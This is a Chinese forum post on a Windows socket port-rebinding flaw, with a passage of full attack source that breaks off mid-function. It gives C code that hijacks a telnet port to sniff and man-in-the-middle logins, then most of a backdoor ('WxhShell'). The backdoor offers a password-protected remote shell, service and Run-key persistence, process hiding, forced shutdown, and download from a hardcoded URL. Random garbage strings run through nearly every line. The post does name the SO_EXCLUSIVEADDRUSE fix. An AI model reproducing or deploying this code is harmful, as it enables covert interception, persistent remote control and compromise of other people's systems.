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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E.WNykF-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v#T?YK  
0%q{UW2  
  saddr.sin_family = AF_INET; ^=heen<S%  
[<@A8Q5,y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8\W3Fv Q  
n9mM5H47  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ImT+8p a  
rTm>8et  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0k. #  
7>c 0V&  
  这意味着什么?意味着可以进行如下的攻击: tq4"Q BIKh  
|zRoXO`]-*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h>mBkJ {  
7><* 9iOW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R?={{+O  
x3p;H02i\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =F!",a~  
:"y7Weh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   ?fqkM  
h!X'SGK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ->RF`SQu  
nEa'e5 lg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +0JH"L5!  
Pv/%s) &y&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /4f 5s#hR  
pRDON)$  
  #include ?*MV  ^IY  
  #include C4X{Ps \  
  #include }. Na{]<gh  
  #include    ]w&?k:y>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t Sh}0N)  
  int main() fs)q7 7g  
  { G74a9li@  
  WORD wVersionRequested; ]'bQ(<^#  
  DWORD ret; nfCd*f  
  WSADATA wsaData; ,sRrV $,"  
  BOOL val; O. .@<.  
  SOCKADDR_IN saddr; ~[ ks|  
  SOCKADDR_IN scaddr; Cs~\FI1wR  
  int err; =^%Pwkz  
  SOCKET s; hjm .Ath  
  SOCKET sc; (Db*.kd8,  
  int caddsize; VUg~[  
  HANDLE mt; (<:rKp  
  DWORD tid;   !_/8!95  
  wVersionRequested = MAKEWORD( 2, 2 ); \I o?ul}za  
  err = WSAStartup( wVersionRequested, &wsaData ); wYS KtG~/S  
  if ( err != 0 ) { $M8>SLd  
  printf("error!WSAStartup failed!\n"); R y*I~<m  
  return -1; vSHIl"h  
  } \Kzt*C-ZH  
  saddr.sin_family = AF_INET; 4- ?`#  
   |Bf:pG!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lLwQridFXh  
<=GzK:4L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BQ)43Rr>  
  saddr.sin_port = htons(23); L k+1r8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |3o@I uGt  
  { ^`5Yxpz  
  printf("error!socket failed!\n"); CP#MNNvgrw  
  return -1; 69[k ?')LM  
  } vXZz=E AH  
  val = TRUE;  ,qqV11P]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9f[[%80  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'MlC 1HEp  
  { yC$7XSr=  
  printf("error!setsockopt failed!\n"); )%c)-c  
  return -1; 1OeDWEcB  
  } /kVc7 LC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u`nn{C4D"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )BrqE uX@"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1k({(\>qq  
,"R_ve  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) . M $D  
  { f#MN-1[67  
  ret=GetLastError(); {XW>:EU'N  
  printf("error!bind failed!\n"); j"=jK^  
  return -1; bG?[":k  
  } }TLC b/+  
  listen(s,2); Ik)Q0_<a  
  while(1) <p .[E]a2_  
  { 'FXZ`+r|  
  caddsize = sizeof(scaddr); Tr!X2#)A!  
  //接受连接请求 O, 6!`\ND  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DZZt%n8J  
  if(sc!=INVALID_SOCKET) K.zs;^  
  { 0~+ k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'm:B(N@+  
  if(mt==NULL) =LzW#s=O  
  { ,"ZlY}!Gn  
  printf("Thread Creat Failed!\n"); $^>vJk<  
  break; %V/]V,w:*R  
  } yp/*@8%_E  
  } ~`.%n7  
  CloseHandle(mt); 'M/&bu r  
  } HPB1d!^  
  closesocket(s); \)WjkhG<w#  
  WSACleanup(); UkKpS L}Q2  
  return 0; (5 hu W7v  
  }   .m51/X&*n  
  DWORD WINAPI ClientThread(LPVOID lpParam) iDJ2dM}v  
  { B\yid@e  
  SOCKET ss = (SOCKET)lpParam; ny}utO  
  SOCKET sc; UPF=X) !M  
  unsigned char buf[4096]; _A*0K,F-  
  SOCKADDR_IN saddr; ,Nh X%  
  long num; {lJpcS  
  DWORD val; uI/ A_  
  DWORD ret; s5e}X:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C? S%fF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Vo()J4L  
  saddr.sin_family = AF_INET; ?=&*6H_v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j*}xe'#  
  saddr.sin_port = htons(23); 8pk">"#s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {rQ`#?J}^?  
  { k$c!J'qL&  
  printf("error!socket failed!\n"); *6DKU CA/  
  return -1; TzJN,]F!M  
  } _nUuiB>  
  val = 100; Sr IynO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F2=97 =R  
  { he@swE&  
  ret = GetLastError(); ; V8 =B8w  
  return -1; T28#?Lp6]  
  } qM'5cxe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ND*5pRzvp  
  { -[z;y73]t  
  ret = GetLastError(); `fXcW)  
  return -1; Yhfk{CI  
  } 1ARIZ;H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n7vi@^lf(  
  { -VL3em|0  
  printf("error!socket connect failed!\n"); 7-)KTBFL  
  closesocket(sc); o'G")o  
  closesocket(ss); ZC"p^~U_e[  
  return -1; f`cO5lP/:)  
  } oT OMqR{"  
  while(1) P$Nwf,d2u  
  { L,$9)`j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }/=_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q =Z-vTD+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 raCxHY  
  num = recv(ss,buf,4096,0); {>#Ya;E  
  if(num>0) ^+88z>  
  send(sc,buf,num,0); U:H*b{`TU  
  else if(num==0) ^c*'O0y[D  
  break; GKX#-zsh79  
  num = recv(sc,buf,4096,0); %j yLRT]H  
  if(num>0) Lq:Z='Kc  
  send(ss,buf,num,0); ?(Nls.c  
  else if(num==0) i -+B{H  
  break; IsI\T8yfc  
  } >Tw|SK+3  
  closesocket(ss); ffdyDUzQ  
  closesocket(sc); :%R3( &  
  return 0 ; WK-WA$7\  
  } HghNI  
\%UA6uj  
_|3n h;-m  
========================================================== l&zd7BM9(  
H'+P7*k#M  
下边附上一个代码,,WXhSHELL CZ|R-ky6p  
dI3U*:$X  
========================================================== R ~#\gMs  
2|+**BxHD  
#include "stdafx.h" E1=]m  
tR1 kn&w  
#include <stdio.h> wT;D<rqe`  
#include <string.h> [E+#+-n7  
#include <windows.h> mjf U[2  
#include <winsock2.h> ^J?I-LG  
#include <winsvc.h> d+$a5 [^9  
#include <urlmon.h> 0]&~ddL  
dF"Sz4DY#  
#pragma comment (lib, "Ws2_32.lib") 0GEK xV\F  
#pragma comment (lib, "urlmon.lib") UW!!!  
n>{ >3?  
#define MAX_USER   100 // 最大客户端连接数 D{~I  
#define BUF_SOCK   200 // sock buffer 42mdak}\  
#define KEY_BUFF   255 // 输入 buffer ):1NeJOFF  
A~u-Iv(U  
#define REBOOT     0   // 重启 i!9yN: m0  
#define SHUTDOWN   1   // 关机 ;kY'DKL(  
IZ "d s=w  
#define DEF_PORT   5000 // 监听端口 k1W q$KCwG  
,*Jm\u  
#define REG_LEN     16   // 注册表键长度 !>TH#sU$  
#define SVC_LEN     80   // NT服务名长度 1t6VS 3  
lUbQ@7a<'  
// 从dll定义API YQLp#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v<$a .I(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v [\' M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CNQ>J`4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1jO}{U  
]25 xX  
// wxhshell配置信息 )Z2HzjE  
struct WSCFG { :A.dlesv6  
  int ws_port;         // 监听端口 EA8K*>'pv  
  char ws_passstr[REG_LEN]; // 口令  $ac VJI?  
  int ws_autoins;       // 安装标记, 1=yes 0=no r&U5w^p  
  char ws_regname[REG_LEN]; // 注册表键名 3!ZndW SHV  
  char ws_svcname[REG_LEN]; // 服务名 '#L.w6<B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zo4 IY`3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eTw sh]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BxVo>r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d ]R&mp|'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \4zb9CxOZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S3l$\X;6X  
$)8b)Tb  
}; 9)}Nx>K  
=8#$'1K,v  
// default Wxhshell configuration b\& |030+  
struct WSCFG wscfg={DEF_PORT, dz3chy,3  
    "xuhuanlingzhe", pCb3^# &o  
    1, lC):$W  
    "Wxhshell", @ W[LA<  
    "Wxhshell", I*hCIy#;  
            "WxhShell Service", ruiAEC<Ej  
    "Wrsky Windows CmdShell Service", qD0sD2 x  
    "Please Input Your Password: ", !(QDhnx}9c  
  1, {kVhht]X  
  "http://www.wrsky.com/wxhshell.exe", jg%HaA<zO  
  "Wxhshell.exe" >,;, 6|S  
    }; 2?J[D7  
<O+T4.z  
// 消息定义模块 [ed6n@/O@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *PEk+e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; walQo^<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JWzN 'a R  
char *msg_ws_ext="\n\rExit."; <? h`  
char *msg_ws_end="\n\rQuit."; /1OzX'5f  
char *msg_ws_boot="\n\rReboot..."; L!2BE[~  
char *msg_ws_poff="\n\rShutdown..."; "kH Ft|%@  
char *msg_ws_down="\n\rSave to "; <~D-ew^BU  
"eRf3Q7w:  
char *msg_ws_err="\n\rErr!"; Vm+e%  
char *msg_ws_ok="\n\rOK!"; dB`3"aSN7  
5BWO7F0v"  
char ExeFile[MAX_PATH]; { [Sd[P  
int nUser = 0; 5ctH=t0  
HANDLE handles[MAX_USER]; VkKq<`t<  
int OsIsNt; 'Ll,HgU;  
$;@L PE  
SERVICE_STATUS       serviceStatus; C B&$tDi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kta`[%KmIZ  
oz54IO  
// 函数声明 kWkAfzf4a  
int Install(void); -^a?]`3_v  
int Uninstall(void); <]9%Pm#X  
int DownloadFile(char *sURL, SOCKET wsh); X0IXj%\N  
int Boot(int flag); tp4/c'w;)J  
void HideProc(void); AL(YQ )-Cg  
int GetOsVer(void); +aa( YGL  
int Wxhshell(SOCKET wsl); r&qF v)0!`  
void TalkWithClient(void *cs); dM|&Y6  
int CmdShell(SOCKET sock); n4* hQi+d  
int StartFromService(void); ]gxt+'iAFS  
int StartWxhshell(LPSTR lpCmdLine); eJh4hp;x  
R[ 'k&jyi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); : 5=E> !  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wTT_jyH)  
!%pY)69gv  
// 数据结构和表定义 _ 9@D o6  
SERVICE_TABLE_ENTRY DispatchTable[] = ^g[,}t:/d  
{ E Z^eEDZ  
{wscfg.ws_svcname, NTServiceMain}, Woo2hg-ti  
{NULL, NULL} SHM ?32'  
}; +W=  
$m$tfa-  
// 自我安装 h"b;e2  
int Install(void) ( Lp~:p  
{ BC/oh+FW3  
  char svExeFile[MAX_PATH]; ,}9G|$  
  HKEY key; q;Y9_5S  
  strcpy(svExeFile,ExeFile); \dIc_6/D1  
+@:$7m(V  
// 如果是win9x系统,修改注册表设为自启动 n9qO;X4&  
if(!OsIsNt) { je9eJUKE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iti~RV,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @PYCl  
  RegCloseKey(key); CA0SH{PdW&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j_r?4k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;B8 #Nf  
  RegCloseKey(key); =U:9A=uEvS  
  return 0; @@!Mt~\  
    } )p,uZ`~v  
  } 6CKWKc  
} RC[b+J,q  
else { aY/msplC  
||{V*"+\  
// 如果是NT以上系统,安装为系统服务 uxbDRlOS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $jLJ&R=?]  
if (schSCManager!=0) @uIY+_E40g  
{ @B<B#  
  SC_HANDLE schService = CreateService A5d(L4Q]a(  
  ( 2r3]DrpJ  
  schSCManager, =y5~7&9'  
  wscfg.ws_svcname, ~2R3MF.C  
  wscfg.ws_svcdisp, EYe)d+E*  
  SERVICE_ALL_ACCESS, c1v,5c6d j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oD5VE  
  SERVICE_AUTO_START, Ihe/P {t]J  
  SERVICE_ERROR_NORMAL, ,bv?c@  
  svExeFile, 5H+S=  
  NULL, &9Vm3X  
  NULL, wm3fd 7T  
  NULL, ?[[K6v}q{  
  NULL, %h "+J  
  NULL FZ!KZ!p  
  ); 2r+@s g  
  if (schService!=0) T>"GH M  
  { $gYy3y  
  CloseServiceHandle(schService); won(HK\1p  
  CloseServiceHandle(schSCManager); DYvi1X6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` ]*KrY  
  strcat(svExeFile,wscfg.ws_svcname); fk(l.A$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /]/3)@wT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {J:ZM"GS  
  RegCloseKey(key); UX-l`ygl  
  return 0; Ga4Ru  
    } |51z&dG  
  } 'E/vE0nN?  
  CloseServiceHandle(schSCManager); jni }om  
} st;.Po[h  
} |TOz{  
dAOmqu, 6  
return 1; :K!@zT=o  
} NT~L=x sY  
%@<}z|.4  
// 自我卸载 #;F1+s<|QJ  
int Uninstall(void) wW4/]soM  
{ _ ?f~UvK  
  HKEY key; jW6~^>S  
jWb;Xk4  
if(!OsIsNt) { 0T!_;IQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6 &% c  
  RegDeleteValue(key,wscfg.ws_regname); IX eb6j8  
  RegCloseKey(key); Im{I23.2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >6XGF(G   
  RegDeleteValue(key,wscfg.ws_regname); f\ oB/  
  RegCloseKey(key); u</21fz'  
  return 0; 4|fI9.  
  } xz dqE  
} M*)}F  
} qyMR0ai-  
else { C& 0iWY\a  
o.5w>l!9K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I:s#,! >  
if (schSCManager!=0) TY"=8}X1  
{ BH0@WG7F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ugg08am!  
  if (schService!=0) Xj.Tg1^K"  
  { >JVZ@ PV H  
  if(DeleteService(schService)!=0) { V7u;"vD  
  CloseServiceHandle(schService); ' }rUbJo  
  CloseServiceHandle(schSCManager); t?9F2rh  
  return 0; vMJv.O>HW  
  } f>nj9a5  
  CloseServiceHandle(schService); ]}R\[F (_%  
  } U7U-H\t7  
  CloseServiceHandle(schSCManager); 8>G3KZ3  
} ml 7]s N(  
} C|c'V-f  
\R45#. P6X  
return 1; ^- T!(P:  
} i'|rx2]e  
F+Og8^!  
// 从指定url下载文件 ']1j M n  
int DownloadFile(char *sURL, SOCKET wsh) vBCQ-l<Ub  
{ !+& "y K@J  
  HRESULT hr; _wp6rb:8!  
char seps[]= "/"; ]ERPWW;^  
char *token; xn(lkQ6Fm  
char *file; [*w^|b ?  
char myURL[MAX_PATH]; fkWuSGi  
char myFILE[MAX_PATH]; 7{j9vl6  
;1}~(I#Y  
strcpy(myURL,sURL); # )-Kf  
  token=strtok(myURL,seps); ^2OBc  
  while(token!=NULL) o~H4<ayy  
  { wI\v5&X-B  
    file=token; PiXegh WH  
  token=strtok(NULL,seps); @#Jc!p7)  
  } TYW$=p|  
Z8tQ#Pu{  
GetCurrentDirectory(MAX_PATH,myFILE); N~g @  
strcat(myFILE, "\\"); =7ul,  
strcat(myFILE, file); c.m8~@O5+  
  send(wsh,myFILE,strlen(myFILE),0); XHcT7}]  
send(wsh,"...",3,0); c?5e|dZz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U)a}XRS  
  if(hr==S_OK) si,fs%D&  
return 0; ECqcK~h#E  
else Qy`{y?T2  
return 1; AB40WCu]*  
"WR)a`$UR  
} B ?96d'A  
n; ;b6s5  
// 系统电源模块 ST1PSuC~  
int Boot(int flag) %k @"*  
{ XZhuV<  
  HANDLE hToken; Z?|\0GR+`5  
  TOKEN_PRIVILEGES tkp; i]!CH2\  
_3-nw  
  if(OsIsNt) { znv2:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H Yt& MK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tK{2'e6x  
    tkp.PrivilegeCount = 1; @SeE,<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _svY.p s*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pJ-/"Q|:i  
if(flag==REBOOT) { 833KU_ N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pB;)H ii\  
  return 0; 0@z=0}0Z  
} ?kvkkycI   
else { YqwDvJWX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  *e{d^  
  return 0; '|Dm\cy  
} z%5i^P  
  } F }l_=  
  else { +O>1 Ed  
if(flag==REBOOT) { 'eg?W_zu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) afOb-G$d=  
  return 0; S*~v9+  
} 4L\bT;dQ|.  
else { W zYy<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BtDi$d%'  
  return 0; uSp=,2)  
} 8 St`,Tq)  
} r!+-"hS!  
J'B6l#N  
return 1; k @'85A`  
} Wo=Q7~  
r#LoBfM;^A  
// win9x进程隐藏模块 i)=!U>B_0  
void HideProc(void) *L> gZ`Q  
{ "P;_-i9O  
GPnd7}Tn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C'3/B)u}l  
  if ( hKernel != NULL ) |u,2A1  
  { Q)x`'[3"7W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0]3%BgZ(a8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _ q`$W9M+k  
    FreeLibrary(hKernel); 3l"7$B  
  } fwB+f` w`  
\AV6;;}&  
return; bJ8G5QU  
} 44axOk!G[/  
xh Sp<|X_  
// 获取操作系统版本 _uU}J5d.  
int GetOsVer(void) X?5M)MP+I  
{ TGx:#x*k  
  OSVERSIONINFO winfo; biFy*+|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Cbf[\J!bq  
  GetVersionEx(&winfo); =BW>jD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mf]1mG})  
  return 1; y1P KoN|K  
  else FaO=<jYi  
  return 0; {X$8yy2zC5  
} !7XAc,y  
IKSe X  
// 客户端句柄模块 7@"J&><w!  
int Wxhshell(SOCKET wsl) xFcJyjo^z  
{ rxtp?|v9  
  SOCKET wsh; 8*y hx  
  struct sockaddr_in client; %|md0  
  DWORD myID; sE7!U|  
3D>syf  
  while(nUser<MAX_USER) T^YdAQeE  
{ =w='qjh  
  int nSize=sizeof(client); GQ~wx1jj1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :/'2@M  
  if(wsh==INVALID_SOCKET) return 1; _r0[ z  
D> wq4u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); - `^594  
if(handles[nUser]==0) Om`VQ?  
  closesocket(wsh); Z>1\|j  
else k@r%>Ul@  
  nUser++; D.?Rc'y D  
  } o>lk+Q#L @  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ab4(?-'-  
1s5F jD?M  
  return 0; (bnyT?p%  
} }& ;49k  
8$</HNu,  
// 关闭 socket  a~>.  
void CloseIt(SOCKET wsh) O!#yP Sq?  
{ 1"k"<{%  
closesocket(wsh); (}1 gO  
nUser--; NUH;\*]8s  
ExitThread(0); Cz@[l=-T7  
} !.>TF+]  
()L[l@m  
// 客户端请求句柄 T;/Y/Fd  
void TalkWithClient(void *cs) 5&V0(LT]C  
{ CSF-2lSG  
Z6@W)QX  
  SOCKET wsh=(SOCKET)cs; rXR=fj= 2  
  char pwd[SVC_LEN]; Fljqh8c5  
  char cmd[KEY_BUFF]; a(>oQG8F  
char chr[1]; k@QU<cvI  
int i,j; .ET@J`"M  
[K_v,m]   
  while (nUser < MAX_USER) { Y"J' 'K  
>jI( ^8?  
if(wscfg.ws_passstr) { EXt?xiha?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AWkXW l}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Imi;EHW  
  //ZeroMemory(pwd,KEY_BUFF); ,S.<qmf  
      i=0; :oRR1k  
  while(i<SVC_LEN) { o/ Z  
'n1-?T)  
  // 设置超时 C(o]3):?  
  fd_set FdRead; C:Tjue{G2  
  struct timeval TimeOut; p(B> N!:  
  FD_ZERO(&FdRead); >^mNIfdE^=  
  FD_SET(wsh,&FdRead); %6-5hBzZN  
  TimeOut.tv_sec=8; N>8p A)  
  TimeOut.tv_usec=0; )tc"4lp -  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [/_M!&zz2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;/gH6Z?  
U~!yGjF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fw ,'a  
  pwd=chr[0]; 9_yO 6)`  
  if(chr[0]==0xd || chr[0]==0xa) { u&MlWKCi  
  pwd=0; ,>(/}=Z.  
  break; xEv]V L:  
  } .b'o}DLa  
  i++; 951"0S`Lo  
    }  CZ&VP%  
bvHF;Qywg  
  // 如果是非法用户,关闭 socket ul0]\(sS:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vgy}0pCl  
} &8VB{S>r  
V %k #M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s7j#Yg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y1 e>P  
J:6wFmU  
while(1) { 6J/"1 _  
3GMRH;/w  
  ZeroMemory(cmd,KEY_BUFF); aH@Ux?-}  
RmXC ^VQ  
      // 自动支持客户端 telnet标准   l :sZ  
  j=0; RU} M&&  
  while(j<KEY_BUFF) { :e9}k5kdk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n _G< /8  
  cmd[j]=chr[0]; 7A7=~:l\G  
  if(chr[0]==0xa || chr[0]==0xd) { O{b.-<  
  cmd[j]=0; MUo}Qi0K  
  break; [x}]sT`#a  
  } P'Q|0lB  
  j++; 7;cb^fi/  
    } V6)e Jy  
B8Ob~?  
  // 下载文件 Vc}#Ok  
  if(strstr(cmd,"http://")) { \i Ylh HD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H>8B$fi)$  
  if(DownloadFile(cmd,wsh)) DPENYr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H|a9};pO\  
  else EL_rh TWw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \@yx;}bdI  
  } ]{- >/.oB  
  else { \^<eJf D  
$umh&z/  
    switch(cmd[0]) { D ff0$06Nq  
  " P A:  
  // 帮助 >T*/[{L8;  
  case '?': { xyGk\= S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tb;!2$  
    break; YGp8./ma<I  
  } /P<K)a4GM  
  // 安装 j{)_&|^{  
  case 'i': { c_#\'yeW  
    if(Install()) !acm@"Ea  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )6?(K"T  
    else S1 22. I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XA`<*QC<  
    break; HCP' V  
    } sjBP#_lW  
  // 卸载 B+:'Ld](  
  case 'r': { S{cy|QD  
    if(Uninstall()) 56i9V9{2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " S6'<~s  
    else Ktrqrl^IJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r+8%oWj  
    break; xA|72!zk0P  
    } #h'F6  
  // 显示 wxhshell 所在路径 98u$5=Z' /  
  case 'p': { |G.|ocj;  
    char svExeFile[MAX_PATH]; -)%l{@Mr  
    strcpy(svExeFile,"\n\r"); Y{P0?`  
      strcat(svExeFile,ExeFile); =,B44:`r  
        send(wsh,svExeFile,strlen(svExeFile),0); NFT&\6!o  
    break; S]^`Qy)  
    } B%95M|  
  // 重启 Obd@#uab  
  case 'b': { <uXZ*E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w4YuijhW  
    if(Boot(REBOOT)) >5Vv6_CI0?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9pN},F91n:  
    else { I f9t^T#  
    closesocket(wsh); d_CY=DHF%`  
    ExitThread(0); 'UGkL;  
    } .Y}~2n  
    break; ml=tS,  
    } $q`650&S*  
  // 关机 -LAYj:4  
  case 'd': { G]Fp},  
